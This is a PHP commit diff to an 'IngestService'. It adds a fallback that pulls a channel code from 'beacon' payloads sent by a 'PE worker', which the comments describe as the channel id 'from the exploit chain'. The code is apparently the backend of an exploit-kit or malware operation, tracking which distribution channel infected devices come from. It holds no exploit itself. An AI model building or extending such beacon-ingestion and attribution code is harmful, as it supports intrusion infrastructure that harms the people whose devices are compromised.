feat: 18
This commit is contained in:
@@ -303,19 +303,58 @@ class IngestService
|
||||
private function resolveChannelAttribution(Request $request, ?array $payload, bool $allowOldC): array
|
||||
{
|
||||
if ($this->isNewBuilderRequest($request)) {
|
||||
if (! $this->isXxbbCoreRequest($request)) {
|
||||
return ['channel_id' => null, 'source_domain' => null];
|
||||
if ($this->isXxbbCoreRequest($request)) {
|
||||
$attr = $this->channelFromVerHeaders($request);
|
||||
if ($attr['channel_id'] !== null) {
|
||||
return $attr;
|
||||
}
|
||||
}
|
||||
} elseif ($allowOldC) {
|
||||
$channelId = $this->extractChannelId($request, $payload);
|
||||
if ($channelId !== null) {
|
||||
return ['channel_id' => $channelId, 'source_domain' => null];
|
||||
}
|
||||
|
||||
return $this->channelFromVerHeaders($request);
|
||||
}
|
||||
if ($allowOldC) {
|
||||
return ['channel_id' => $this->extractChannelId($request, $payload), 'source_domain' => null];
|
||||
|
||||
// Fallback: channel_code from beacon payload (new builder PE worker /beacon path).
|
||||
// PE worker sends device_info.channel_code = the X.Y.ZZ channel id from the exploit chain.
|
||||
$channelCode = $this->extractChannelCodeFromPayload($payload);
|
||||
if ($channelCode !== null) {
|
||||
return ['channel_id' => $channelCode, 'source_domain' => null];
|
||||
}
|
||||
|
||||
return ['channel_id' => null, 'source_domain' => null];
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract new-builder channel_code (X.Y.ZZ) from beacon/payload device_info.
|
||||
* PE worker sends: {"uuid":..., "device_info":{"channel_code":"X.Y.ZZ",...}, ...}
|
||||
*/
|
||||
private function extractChannelCodeFromPayload(?array $payload): ?string
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$candidates = [];
|
||||
if (isset($payload['device_info']) && is_array($payload['device_info'])) {
|
||||
$candidates[] = $payload['device_info']['channel_code'] ?? null;
|
||||
}
|
||||
$candidates[] = $payload['channel_code'] ?? null;
|
||||
|
||||
foreach ($candidates as $value) {
|
||||
if (! is_string($value) || $value === '') {
|
||||
continue;
|
||||
}
|
||||
$code = Channel::normalizeNewChannelId($value);
|
||||
if ($code !== null) {
|
||||
return $code;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function isNewBuilderRequest(Request $request): bool
|
||||
{
|
||||
return (bool) $request->attributes->get('coruna_new_builder', false);
|
||||
|
||||
Reference in New Issue
Block a user